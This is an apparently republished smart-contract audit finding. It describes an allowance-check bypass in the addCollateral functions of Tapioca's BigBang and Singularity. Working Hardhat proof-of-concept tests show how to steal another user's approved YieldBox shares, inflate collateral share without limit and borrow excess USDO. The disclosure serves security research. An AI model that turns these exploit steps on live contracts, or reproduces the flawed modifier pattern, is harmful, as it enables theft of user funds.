Ability to steal user funds and increase collateral share infinitely in BigBang and Singularity
The addCollateral functions in BigBang and Singularity allow the share parameter to be zero, and the allowedBorrow modifier checks this zero value before the actual share amount is calculated, so the allowance check always passes. An attacker can add collateral using another user's approved shares, steal those shares, and repeatedly inflate their own collateral share to borrow or mint excessive amounts.
Ack Follow with RedOneN, plainshift and 15 others
Originally disclosed on Code4rena
Submitted by Ack, also found by Koolex (1, 2), RedOneN, plainshift, ladboy233, bin2chen, zzzitron, ayeslick, KIntern_NA, kaden, xuwinnie, Oxsadeeq, 0xStalin, 0xG0P1, ltyu, cergyk, TiesStevelink, rvierdiiev, and 0xRobocop
The addCollateral methods in both BigBang and Singularity contracts allow the share parameter to be passed as 0. When share is 0, the equivalent amount of shares is calculated using the YieldBox toShare method. However, there is a modifier named allowedBorrow that is intended to check the allowed borrowing amount for each implementation of the addCollateral methods. Unfortunately, the modifier is called with the share value passed to addCollateral, and in the case of 0, it will always pass.
// MarketERC20.sol
function _allowedBorrow(address from, uint share) internal {
if (from != msg.sender) {
if (allowanceBorrow[from][msg.sender] < share) {
revert NotApproved(from, msg.sender);
}
allowanceBorrow[from][msg.sender] -= share;
}
}
// BigBang.sol
function addCollateral(
address from,
address to,
bool skim,
uint256 amount,
uint256 share
// @audit share is calculated afterwords the modifier
) public allowedBorrow(from, share) notPaused {
_addCollateral(from, to, skim, amount, share);
}
function _addCollateral(
address from,
address to,
bool skim,
uint256 amount,
uint256 share
) internal {
if (share == 0) {
share = yieldBox.toShare(collateralId, amount, false);
}
userCollateralShare[to] += share;
uint256 oldTotalCollateralShare = totalCollateralShare;
totalCollateralShare = oldTotalCollateralShare + share;
_addTokens(
from,
to,
collateralId,
share,
oldTotalCollateralShare,
skim
);
emit LogAddCollateral(skim ? address(yieldBox) : from, to, share);
}
This leads to various critical scenarios in BigBang and Singularity markets where user assets can be stolen, and collateral share can be increased infinitely which in turn leads to infinite USDO borrow/mint and borrowing max assets from Singularity market.
Refer to Proof of Concept for attack examples
Impact
High - allows stealing of arbitrary user yieldbox shares in BigBang contract and Singularity. In the case of BigBang this leads to infinite minting of USDO. Effectively draining all markets and LPs where USDO has value. In the case of Singularity this leads to infinite borrowing, allowing an attacker to obtain possession of all other users’ collateral in Singularity.
Proof of concept
- Malicious actor can add any user shares that were approved to BigBang or Singularity contracts deployed. This way adversary is stealing user shares that he can unwrap to get underlying collateral provided.
it('allows steal other user YieldBox collateral shares', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User B adds collateral to big bang from user A shares
await expect(wethBigBangMarket.connect(userB).addCollateral(
userA.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
.withArgs(wethBigBangMarket.address, userA.address, wethBigBangMarket.address, wethAssetId, valShare);
userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.eq(0)).to.be.true;
let collateralShares = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(collateralShares.gt(0)).to.be.true;
expect(collateralShares.eq(valShare)).to.be.true;
// User B removes collateral
await wethBigBangMarket.connect(userB).removeCollateral(
userB.address,
userB.address,
collateralShares,
);
collateralShares = await wethBigBangMarket.connect(userB).userCollateralShare(
userA.address,
);
expect(collateralShares.eq(0)).to.be.true;
// User B ends up with User A shares in yieldbox
let userBBalance = await yieldBox.balanceOf(
userB.address,
wethAssetId,
)
expect(userBBalance.gt(0)).to.be.true;
expect(userBBalance.eq(valShare)).to.be.true;
});
- For Singularity contract this allows to increase collateralShare by the amount of assets provided as collateral infinitely leading to
x / x + 1share of the collateral for the caller with no shares in the pool, where x is the number of times theaddColateralis called, effectively allowing for infinite borrowing. As a consequence, the attacker can continuously increase their share of the collateral without limits, leading to potentially excessive borrowing of assets from the Singularity market.
it('allows to infinitely increase user collateral share in BigBang', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User A adds collateral to BigBang
await wethBigBangMarket.addCollateral(
userA.address,
userA.address,
false,
wethMintVal,
0,
);
let bigBangBalance = await yieldBox.balanceOf(
wethBigBangMarket.address,
wethAssetId,
)
expect(bigBangBalance.eq(valShare)).to.be.true;
let userACollateralShare = await wethBigBangMarket.userCollateralShare(
userA.address,
);
expect(userACollateralShare.gt(0)).to.be.true;
expect(userACollateralShare.eq(valShare)).to.be.true;
let userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.eq(0)).to.be.true;
// User B is able to increase his share to 50% of the whole collateral added
await expect(wethBigBangMarket.connect(userB).addCollateral(
wethBigBangMarket.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.gt(0)).to.be.true;
expect(userBCollateralShare.eq(valShare)).to.be.true;
// User B is able to increase his share to 66% of the whole collateral added
await expect(wethBigBangMarket.connect(userB).addCollateral(
wethBigBangMarket.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.gt(0)).to.be.true;
expect(userBCollateralShare.eq(valShare.mul(2))).to.be.true;
// ....
});
- In the BigBang contract, this vulnerability allows a user to infinitely increase their collateral shares by providing collateral repeatedly. As a result, the user can artificially inflate their collateral shares provided, potentially leading to an excessive borrowing capacity. By continuously adding collateral without limitations, the user can effectively borrow against any collateral amount they desire, which poses a significant risk to USDO market.
it('allows infinite borrow of USDO', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User A adds collateral to BigBang
await wethBigBangMarket.addCollateral(
userA.address,
userA.address,
false,
wethMintVal,
0,
);
let bigBangBalance = await yieldBox.balanceOf(
wethBigBangMarket.address,
wethAssetId,
)
expect(bigBangBalance.eq(valShare)).to.be.true;
let userACollateralShare = await wethBigBangMarket.userCollateralShare(
userA.address,
);
expect(userACollateralShare.gt(0)).to.be.true;
expect(userACollateralShare.eq(valShare)).to.be.true;
await wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000");
await expect(
wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000")
).to.be.reverted;
await expect(wethBigBangMarket.addCollateral(
wethBigBangMarket.address,
userA.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
await wethBigBangMarket.borrow(userA.address, userA.address, "7500000000000000000000");
await expect(wethBigBangMarket.addCollateral(
wethBigBangMarket.address,
userA.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
await wethBigBangMarket.borrow(userA.address, userA.address, "7530000000000000000000");
// ....
});
Recommended Mitigation Steps
- Check allowed to borrow shares amount after evaluating equivalent them
0xRektora (Tapioca) confirmed via duplicate issue 55
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The allowedBorrow modifier checks the raw share argument before the contract converts a zero share into the actual share amount, so a zero value bypasses the allowance check.
Impact
An attacker could steal other users' YieldBox shares, infinitely increase their collateral share, mint unlimited USDO in BigBang, and borrow all other users' collateral in Singularity.
What the attacker needed
Victim has approved the market to spend shares; attacker has a funded account
The fix
The allowance check should be performed after converting a zero share value to the equivalent share amount.
How it was found
- User A deposits assets into YieldBox and approves the BigBang market to spend their shares.
- User B calls addCollateral with User A as the from address, User B as the to address, and share set to zero.
- The contract calculates the share amount from the amount parameter and transfers User A's shares to the market, crediting User B's collateral share.
- User B removes the collateral and receives the shares in their own YieldBox balance.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In these contracts, users can let others add collateral on their behalf, but only up to an approved limit. The code checks that limit using a number that can be zero, so the check is skipped. An attacker can then use someone else's approved collateral or repeatedly add fake collateral to borrow far more than they should.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.